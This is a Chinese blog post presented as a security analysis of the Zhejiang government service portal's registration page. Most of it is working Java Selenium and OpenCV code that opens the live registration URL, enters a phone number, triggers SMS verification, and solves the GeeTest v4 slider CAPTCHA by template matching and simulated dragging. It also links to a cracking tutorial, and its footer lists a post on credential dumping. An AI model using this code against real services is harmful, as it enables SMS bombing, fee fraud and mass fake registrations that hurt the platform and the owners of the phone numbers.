【浙江政务服务网-注册_登录安全分析报告】

前言

由于网站注册入口容易被黑客攻击,存在如下安全问题:

  1. 暴力破解密码,造成用户信息泄露
  2. 短信盗刷的安全问题,影响业务及导致用户投诉
  3. 带来经济损失,尤其是后付费客户,风险巨大,造成亏损无底洞

所以大部分网站及App 都采取图形验证码或滑动验证码等交互解决方案, 但在机器学习能力提高的当下,连百度这样的大厂都遭受攻击导致点名批评, 图形验证及交互验证方式的安全性到底如何? 请看具体分析

一、 浙江政务服务网 PC端注册入口

简介:

自2014年以来,浙江持续推进省一体化在线政务服务平台("浙里办")建设,率先形成全省统一、五级(省市县乡村)联动的"互联网+政务服务"体系。近年来,浙江充分依托全国一体化在线政务服务平台,以数字化改革为总抓手,持续迭代升级"浙里办",全力打造面向群众企业办事的总入口,助力全面建成"掌上办事之省"。

截至2023年6月,作为群众企业服务的总入口,"浙里办"实名注册用户突破1亿,汇聚3638项依申请政务服务事项 、2000余个便民惠企服务、"企业开办"等40件多部门联办"一件事",从民生小事到家企大事,实现网上一站办、大厅就近办、基层帮你办、全省统一办,让政务服务更加泛在可及、普惠公平,助力高质量发展建设共同富裕示范区。

二、 安全性分析报告:

采用极验的V4版本,容易被模拟器绕过甚至逆向后暴力攻击,滑动拼图识别率在 95% 以上。

三、 测试方法:

前端界面分析,版本号为4.0,这就好办了, 网上有大量现成的逆向文章及视频参考,不过我们这次不用逆向, 只是采用模拟器的方式,关键点主要模拟器交互、距离识别和轨道算法3部分

极验4代滑块验证码破解(补环境直接强暴式拿下)

https://blog.csdn.net/qq_41866988/article/details/132020587

  1. 模拟器交互部分
bash 复制代码
private final String INDEX_URL = "https://user.zjzwfw.gov.cn/pc/register?servicecode=jhssjkfpt&action=register";
	private GeetClient geetClient = new GeetClient(this.getClass().getSimpleName());

	@Override
	public RetEntity send(WebDriver driver, String areaCode, String phone) {
		try {
			RetEntity retEntity = new RetEntity();
			driver.get(INDEX_URL);

			// 输入手机号
			WebElement phoneElement = driver.findElement(By.xpath("//input[@placeholder='请输入手机号']"));
			phoneElement.sendKeys(phone);
			Thread.sleep(1000);
			// 点击发送验证码按钮
			WebElement sendElemet = driver.findElement(By.xpath("//span[contains(text(),'发送验证码')]"));
			if (sendElemet != null)
				((JavascriptExecutor) driver).executeScript("arguments[0].click();", sendElemet);

			WebElement gtElement = ChromeUtil.waitElement(driver, By.xpath("//div/span[contains(text(),'重新发送')]"), 20);
			boolean isSend = (gtElement != null);
			if (!isSend) {
				geetClient.moveV4(driver);
				Thread.sleep(500);
				gtElement = ChromeUtil.waitElement(driver, By.xpath("//div/span[contains(text(),'重新发送')]"), 20);
			}			
			String gtInfo = (gtElement != null) ? gtElement.getText() : null;
			retEntity.setMsg(gtInfo);
			if (gtInfo != null && gtInfo.contains("重新发送")) {
				retEntity.setRet(0);
			}
			return retEntity;
		} catch (Exception e) {
			System.out.println("phone=" + phone + ",e=" + e.toString());
			for (StackTraceElement ele : e.getStackTrace()) {
				System.out.println(ele.toString());
			}
			return null;
		} finally {
			driver.manage().deleteAllCookies();
		}
	}
  1. 距离识别
bash 复制代码
/**
	 * Open Cv 图片模板匹配
	 * 
	 * @param tpPath
	 *            模板图片路径
	 * @param bgPath
	 *            目标图片路径
	 * @return { width, maxX }
	 */
	public Map<String, Double> getWidth(String tpPath, String bgPath, String resultFile) {
		try {
			Map<String, Integer> hlMap = new HashMap<String, Integer>();
			Rect rectCrop = clearWhite(tpPath, hlMap);
			Mat g_tem = Imgcodecs.imread(tpPath);
			Mat clearMat = g_tem.submat(rectCrop);

			Mat cvt = new Mat();
			Imgproc.cvtColor(clearMat, cvt, Imgproc.COLOR_RGB2GRAY);
			Mat edgesSlide = new Mat();
			Imgproc.Canny(cvt, edgesSlide, threshold1, threshold2);
			Mat cvtSlide = new Mat();
			Imgproc.cvtColor(edgesSlide, cvtSlide, Imgproc.COLOR_GRAY2RGB);
			Imgcodecs.imwrite(tpPath, cvtSlide);

			Mat bgOrign = Imgcodecs.imread(bgPath);

			// 当滑块的高度和背景图高度一致才做截取
			boolean isSub = (bgOrign.rows() == hlMap.get("rows"));
			Mat bgMat = bgOrign;
			if (isSub) {
				int minY = hlMap.get("minY");
				int maxY = hlMap.get("maxY");
				int rowStart = minY >= 2 ? minY - 2 : minY;
				int rowEnd = bgOrign.rows() - maxY >= 2 ? maxY + 2 : maxY;
				bgMat = bgOrign.submat(rowStart, rowEnd, 0, bgOrign.cols());
			}

			Mat edgesBg = new Mat();
			Imgproc.Canny(bgMat, edgesBg, threshold1, threshold2);
			Mat cvtBg = new Mat();
			Imgproc.cvtColor(edgesBg, cvtBg, Imgproc.COLOR_GRAY2RGB);

			int result_rows = cvtBg.rows() - cvtSlide.rows() + 1;
			int result_cols = cvtBg.cols() - cvtSlide.cols() + 1;
			Mat g_result = new Mat(result_rows, result_cols, CvType.CV_32FC1);
			Imgproc.matchTemplate(cvtBg, cvtSlide, g_result, Imgproc.TM_CCOEFF_NORMED); // 归一化平方差匹配法
			// 归一化相关匹配法
			MinMaxLocResult minMaxLoc = Core.minMaxLoc(g_result);
			Point maxLoc = minMaxLoc.maxLoc;
			Imgproc.rectangle(cvtBg, maxLoc, new Point(maxLoc.x + cvtSlide.cols(), maxLoc.y + cvtSlide.rows()), new Scalar(0, 0, 255), 1);
			Imgcodecs.imwrite(resultFile, cvtBg);
			Map<String, Double> paramMap = new HashMap<String, Double>();
			paramMap.put("tpWidth", g_tem.cols() * 1.0);
			paramMap.put("bigWidth", cvtBg.cols() * 1.0);
			paramMap.put("width", cvtSlide.cols() * 1.0);
			paramMap.put("minX", maxLoc.x);
			paramMap.put("maxX", maxLoc.x + cvtSlide.cols());
			System.out.println("OpenCv2.getWidth() " + paramMap.toString());
			return paramMap;
		} catch (Throwable e) {
			System.out.println("getWidth() " + e.toString());
			logger.error("getWidth() " + e.toString());
			for (StackTraceElement elment : e.getStackTrace()) {
				logger.error(elment.toString());
			}
			return null;
		}
	}

	public Rect clearWhite(String smallPath, Map<String, Integer> hlMap) {
		try {
			Mat matrix = Imgcodecs.imread(smallPath);
			int rows = matrix.rows();// height -> y
			int cols = matrix.cols();// width -> x
			hlMap.put("rows", rows);
			hlMap.put("cols", cols);
			Double rgb;
			double[] arr;
			int minX = 255;
			int minY = 255;
			int maxX = 0;
			int maxY = 0;
			Color c;
			for (int x = 0; x < cols; x++) {
				for (int y = 0; y < rows; y++) {
					arr = matrix.get(y, x);
					rgb = 0.00;
					for (int i = 0; i < 3; i++) {
						rgb += arr[i];
					}
					c = new Color(rgb.intValue());
					int b = c.getBlue();
					int r = c.getRed();
					int g = c.getGreen();
					int sum = r + g + b;
					if (sum >= 5) {
						if (x <= minX)
							minX = x;
						else if (x >= maxX)
							maxX = x;
						if (y <= minY)
							minY = y;
						else if (y >= maxY)
							maxY = y;
					}
				}
			}

			int boder = 1;
			if (boder > 0) {
				minX = (minX > boder) ? minX - boder : 0;
				maxX = (maxX + boder < cols) ? maxX + boder : cols;
				minY = (minY > boder) ? minY - boder : 0;
				maxY = (maxY + boder < rows) ? maxY + boder : rows;
			}

			int width = (maxX - minX);
			int height = (maxY - minY);
			hlMap.put("minY", minY);
			hlMap.put("maxY", maxY);
			System.out.println("openCv2.clearWhite() [" + rows + ", " + cols + "],minX=" + minX + ",minY=" + minY + ",maxX=" + maxX + ",maxY=" + maxY + "->width=" + width + ",height=" + height);
			Rect rectCrop = new Rect(minX, minY, width, height);
			return rectCrop;
		} catch (Throwable e) {
			StringBuffer er = new StringBuffer("clearWrite() " + e.toString() + "\n");
			for (StackTraceElement elment : e.getStackTrace()) {
				er.append(elment.toString() + "\n");
			}
			logger.error(er.toString());
			System.out.println(er.toString());
			return null;
		}
	}
  1. 轨道生成及移动算法
bash 复制代码
/**
	 * class='geetest_bg_a30707f4 geetest_bg'
	 * 
	 * @param driver
	 * @param offSet
	 * @return
	 */
	public boolean moveV4(WebDriver driver, Integer startX, Integer startY) {
		File bigFile = null, smllFile = null;
		try {

			long t = System.currentTimeMillis();
			String path = dataPath + "/" + spCode + "/";

			WebElement tipsElement = driver.findElement(By.className("geetest_text_tips"));
			String tips = (tipsElement != null) ? tipsElement.getText() : null;
			System.out.println("tips=" + tips);

			// 获取背景图
			List<WebElement> urlElements = driver.findElements(By.xpath("//div[contains(@style,'background-image')]"));
			int index = (urlElements.size() >= 4) ? 2 : 0;
			// 小图
			smllFile = new File(path + t + "_small.png");
			byte[] smallBytes = getImgByBackGround(urlElements.get(index), smllFile);
			File tpFile = new File(path + t + "_t.png");
			FileUtils.writeByteArrayToFile(tpFile, smallBytes);

			// 大图
			bigFile = new File(path + t + "_bg.png");
			byte[] bigBytes = getImgByBackGround(urlElements.get(index + 1), bigFile);

			String ckSum = GenChecksumUtil.genChecksum(bigBytes);
			String resultFile = path + t + "_o.png";

			// 计算距离
			Map<String, Double> outMap = cv2.getWidth(tpFile.getAbsolutePath(), bigFile.getAbsolutePath(), resultFile);
			if (outMap == null || outMap.size() < 2) {
				System.out.println("getMoveDistance() ,outMap=" + outMap);
				return false;
			}
			// 计算匹配到的位置
			Double tpWidth = outMap.get("tpWidth");
			Double width = outMap.get("width");

			Double leftD = (tpWidth - width) / 2.0;
			BigDecimal openDistanceD = new BigDecimal(outMap.get("minX") - leftD).setScale(0, BigDecimal.ROUND_HALF_UP);
			int distance = openDistanceD.intValue();
			if (distance <= 0) {
				System.out.println("getMoveDistance() ,outMap=" + outMap + "->" + distance);
				return false;
			}
			System.out.println(tpWidth + "-" + width + "->leftD=" + leftD + ",distance=" + distance);

			if (startX != null && startY != null) {
				RobotMove.move(startX, startY, distance);
			} else {
				By sliedBy = By.xpath("//div[contains(@class,'geetest_btn')]");
				List<WebElement> sliedElements = driver.findElements(sliedBy);
				System.out.println("size=" + sliedElements.size());
				boolean displayed;
				for (WebElement web : sliedElements) {
					displayed = web.isDisplayed();
					System.out.println("displayed=" + displayed + "->" + web.getAttribute("class"));
					if (displayed) {
						ActionMove.move(driver, web, distance);
						break;
					}
				}
			}

			// 滑动结果
			WebElement infoElement = ChromeDriverManager.getInstance().waitForLoad(By.className("geetest_result_tips"), 1);
			String gtInfo = (infoElement != null) ? infoElement.getAttribute("innerText") : null;
			if (gtInfo != null) {
				System.out.println("gtInfo=" + gtInfo);
				if (gtInfo.contains("速度超过") || gtInfo.contains("通过验证")) {
					return true;
				}
			}
			return false;
		} catch (Exception e) {
			logger.error(e.toString());
			return false;
		}
	}

	private byte[] getImgByBackGround(WebElement urlElement, File bFile) throws Exception {
		String cssValue = (urlElement != null) ? urlElement.getCssValue("background-image") : null;
		String bgUrl = (cssValue != null && cssValue.contains("\"")) ? cssValue.split("\"")[1] : null;
		if (bgUrl == null || !bgUrl.startsWith("http")) {
			System.out.println("bgUrl=" + bgUrl);
			return null;
		}

		FileUtils.copyURLToFile(new URL(bgUrl), bFile);
		byte[] bigBytes = FileUtils.readFileToByteArray(bFile);
		return bigBytes;
	}
  1. OpenCv 轮廓匹配测试样例:

四丶结语

自2014年以来,浙江持续推进省一体化在线政务服务平台("浙里办")建设,率先形成全省统一、五级(省市县乡村)联动的"互联网+政务服务"体系。近年来,浙江充分依托全国一体化在线政务服务平台,以数字化改革为总抓手,持续迭代升级"浙里办",全力打造面向群众企业办事的总入口,助力全面建成"掌上办事之省"。

。作为浙江省的政务服务平台,应该重点关注安全,并且拥有强大的技术资源, 采用的却是通俗的滑动验证产品, 该产品稳定并且市场占有率很高, 在一定程度上提高了用户体验, 但安全性在机器学习的今天, 已经无法应对攻击了,并且正是由于该产品通俗, 所以在网上破解的文章和教学视频也是大量存在,并且经过验证滑动产品很容易被破解, 所以除了滑动验证方式, 花样百出的产品层出不穷,但本质就是牺牲用户体验来提高安全。

很多人在短信服务刚开始建设的阶段,可能不会在安全方面考虑太多,理由有很多。

比如:" 需求这么赶,当然是先实现功能啊 "," 业务量很小啦,系统就这么点人用,不怕的 " , " 我们怎么会被盯上呢,不可能的 "等等。

有一些理由虽然有道理,但是该来的总是会来的。前期欠下来的债,总是要还的。越早还,问题就越小,损失就越低。

所以大家在安全方面还是要重视。(血淋淋的栗子!)#安全短信#

戳这里→康康你手机号在过多少网站注册过!!!

谷歌图形验证码在AI 面前已经形同虚设,所以谷歌宣布退出验证码服务, 那么当所有的图形验证码都被破解时,大家又该如何做好防御呢?

>>相关阅读
《腾讯防水墙滑动拼图验证码》
《百度旋转图片验证码》
《网易易盾滑动拼图验证码》
《顶象区域面积点选验证码》
《顶象滑动拼图验证码》
《极验滑动拼图验证码》
《使用深度学习来破解 captcha 验证码》
《验证码终结者-基于CNN+BLSTM+CTC的训练部署套件》

相关推荐
Hello.Reader5 小时前
Flink ZooKeeper HA 实战原理、必配项、Kerberos、安全与稳定性调优
安全·zookeeper·flink
智驱力人工智能6 小时前
小区高空抛物AI实时预警方案 筑牢社区头顶安全的实践 高空抛物检测 高空抛物监控安装教程 高空抛物误报率优化方案 高空抛物监控案例分享
人工智能·深度学习·opencv·算法·安全·yolo·边缘计算
七夜zippoe6 小时前
CANN Runtime任务描述序列化与持久化源码深度解码
大数据·运维·服务器·cann
数据与后端架构提升之路6 小时前
论系统安全架构设计及其应用(基于AI大模型项目)
人工智能·安全·系统安全
Fcy6487 小时前
Linux下 进程(一)(冯诺依曼体系、操作系统、进程基本概念与基本操作)
linux·运维·服务器·进程
袁袁袁袁满7 小时前
Linux怎么查看最新下载的文件
linux·运维·服务器
代码游侠8 小时前
学习笔记——设备树基础
linux·运维·开发语言·单片机·算法
Harvey9038 小时前
通过 Helm 部署 Nginx 应用的完整标准化步骤
linux·运维·nginx·k8s
市场部需要一个软件开发岗位8 小时前
JAVA开发常见安全问题:Cookie 中明文存储用户名、密码
android·java·安全
lingggggaaaa8 小时前
安全工具篇&动态绕过&DumpLsass凭据&Certutil下载&变异替换&打乱源头特征
学习·安全·web安全·免杀对抗